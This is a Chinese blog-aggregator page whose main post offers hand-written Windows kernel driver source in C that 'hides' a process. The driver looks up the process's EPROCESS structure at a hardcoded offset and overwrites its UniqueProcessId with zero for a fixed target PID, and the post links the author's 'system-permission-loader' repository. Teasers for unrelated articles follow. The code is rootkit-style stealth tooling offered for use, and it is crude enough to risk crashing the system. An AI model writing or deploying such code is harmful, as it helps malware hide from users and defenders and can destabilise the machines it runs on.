news 2026/4/17 21:27:33

驱动隐藏进程 (本人手写)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
驱动隐藏进程 (本人手写)
#include <ntifs.h> #include <ntddk.h> #include <wdm.h> // 使用动态获取偏移的方法,而不是硬编码 typedef struct _PROCESS_INFO { ULONG UniqueProcessIdOffset; } PROCESS_INFO; // 全局变量 PROCESS_INFO g_ProcessInfo = { 0 }; // 函数声明 VOID DriverUnload(PDRIVER_OBJECT DriverObject); NTSTATUS GetProcessIdOffset(PULONG pOffset); NTSTATUS HideProcessById(HANDLE ProcessId); #pragma comment(lib, "ntoskrnl.lib") // 驱动入口点 NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); NTSTATUS status = STATUS_SUCCESS; DbgPrint("[DriverEntry] Driver loaded\n"); // 设置卸载函数 DriverObject->DriverUnload = DriverUnload; // 获取UniqueProcessId的偏移量 status = GetProcessIdOffset(&g_ProcessInfo.UniqueProcessIdOffset); if (!NT_SUCCESS(status)) { DbgPrint("[DriverEntry] Failed to get process ID offset: 0x%X\n", status); return status; } DbgPrint("[DriverEntry] UniqueProcessId offset: 0x%X\n", g_ProcessInfo.UniqueProcessIdOffset); // 隐藏目标进程(示例:隐藏进程ID 1234) HANDLE targetProcessId = (HANDLE)4616; status = HideProcessById(targetProcessId); if (NT_SUCCESS(status)) { DbgPrint("[DriverEntry] Successfully modified process with ID %lu\n", (ULONG)targetProcessId); } else { DbgPrint("[DriverEntry] Failed to modify process with ID %lu (Status: 0x%X)\n", (ULONG)targetProcessId, status); } return STATUS_SUCCESS; } // 获取EPROCESS中UniqueProcessId的偏移量 NTSTATUS GetProcessIdOffset(PULONG pOffset) { PEPROCESS pSystemProcess = NULL; HANDLE pid = (HANDLE)4; // System进程的PID通常为4 NTSTATUS status = PsLookupProcessByProcessId(pid, &pSystemProcess); if (!NT_SUCCESS(status)) { DbgPrint("[GetProcessIdOffset] Failed to lookup System process: 0x%X\n", status); return status; } // 获取EPROCESS结构体中的UniqueProcessId字段 // 这里使用更安全的方法,但需要包含Ps.h中的声明 // 在实际驱动中,可能需要使用模式扫描或特征码定位 // 临时使用已知偏移(应该通过模式扫描动态获取) // Windows版本不同,偏移量也不同,这里只是示例 #ifdef _WIN64 * pOffset = 0x1d0; // 64位系统的常见偏移 #else * pOffset = 0x180; // 32位系统的常见偏移 #endif ObDereferenceObject(pSystemProcess); return STATUS_SUCCESS; } // 隐藏指定PID的进程 NTSTATUS HideProcessById(HANDLE ProcessId) { PEPROCESS pEprocess = NULL; NTSTATUS status = STATUS_SUCCESS; // 查找目标进程 status = PsLookupProcessByProcessId(ProcessId, &pEprocess); if (!NT_SUCCESS(status)) { DbgPrint("[HideProcessById] Failed to find process with ID %lu: 0x%X\n", (ULONG)ProcessId, status); return status; } // 安全地修改UniqueProcessId // 使用正确的指针算术和类型转换 ULONG_PTR processAddress = (ULONG_PTR)pEprocess; // 获取UniqueProcessId指针 PHANDLE pUniqueProcessId = (PHANDLE)(processAddress + g_ProcessInfo.UniqueProcessIdOffset); DbgPrint("[HideProcessById] Process EPROCESS: 0x%p, UniqueProcessId: 0x%p -> %lu\n", pEprocess, pUniqueProcessId, (ULONG)*pUniqueProcessId); // 将UniqueProcessId设为0(隐藏进程) // 注意:这只是一个简单的示例,实际隐藏进程需要更多步骤 *pUniqueProcessId = (HANDLE)0; DbgPrint("[HideProcessById] Modified UniqueProcessId to 0\n"); // 释放EPROCESS引用 ObDereferenceObject(pEprocess); return STATUS_SUCCESS; } // 驱动卸载函数 VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("[DriverUnload] Driver unloading\n"); // 这里可以添加恢复被隐藏进程的代码 // 在实际驱动中,需要维护被隐藏进程的列表以便恢复 DbgPrint("[DriverUnload] Driver unloaded successfully\n"); }

对于 目标pid 和 偏移值 需要输入,目标pid就不用说了,

偏移值UniqueProcessIdOffset在调试内核时使用: dt _EPROCESS 命令查看

https://gitee.com/geek-mm/system-permission-loader

这是本人做的东西,代码和程序全部上传。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 4:28:00

SFINAE 是技術債:C++20 Concepts 如何讓你的模板程式碼減少 80%

SFINAE 是技術債&#xff1a;C20 Concepts 如何讓你的模板程式碼減少 80%引言&#xff1a;C模板的演進與挑戰C模板自誕生以來一直是該語言最強大的特性之一&#xff0c;它提供了編譯時多態和泛型編程的能力。然而&#xff0c;在長達數十年的發展過程中&#xff0c;開發者們一直…

作者头像 李华
网站建设 2026/4/17 21:05:59

Open-AutoGLM + 边缘计算:打造低延迟农业感知系统的3种架构模式

第一章&#xff1a;Open-AutoGLM 农业物联网适配在现代农业系统中&#xff0c;物联网设备与智能模型的深度融合成为提升生产效率的关键路径。Open-AutoGLM 作为一款支持自动化推理与轻量化部署的语言模型框架&#xff0c;具备良好的边缘计算适配能力&#xff0c;能够有效集成至…

作者头像 李华
网站建设 2026/4/17 20:26:45

Open-AutoGLM自主训练闭环实战(稀缺技术文档首次公开)

第一章&#xff1a;Open-AutoGLM自主学习进化机制Open-AutoGLM 是一种基于大语言模型的自主学习与持续进化框架&#xff0c;旨在实现模型在无显式人工干预下的知识更新、任务优化与能力扩展。其核心机制依托于动态反馈循环、自我评估模块与外部环境交互&#xff0c;使系统能够在…

作者头像 李华
网站建设 2026/4/17 4:10:58

Open-AutoGLM模型推理延迟降低90%?揭秘其背后的轻量化架构设计

第一章&#xff1a;Open-AutoGLM 自动驾驶辅助交互Open-AutoGLM 是一个基于大语言模型的开源框架&#xff0c;专为自动驾驶场景中的多模态人机交互设计。它融合自然语言理解、环境感知与车辆控制指令生成&#xff0c;实现更智能、更安全的驾驶辅助体验。该系统能够解析驾驶员语…

作者头像 李华
网站建设 2026/4/16 18:19:17

springboot车辆管理系统(11552)

有需要的同学&#xff0c;源代码和配套文档领取&#xff0c;加文章最下方的名片哦 一、项目演示 项目演示视频 二、资料介绍 完整源代码&#xff08;前后端源代码SQL脚本&#xff09;配套文档&#xff08;LWPPT开题报告&#xff09;远程调试控屏包运行 三、技术介绍 Java…

作者头像 李华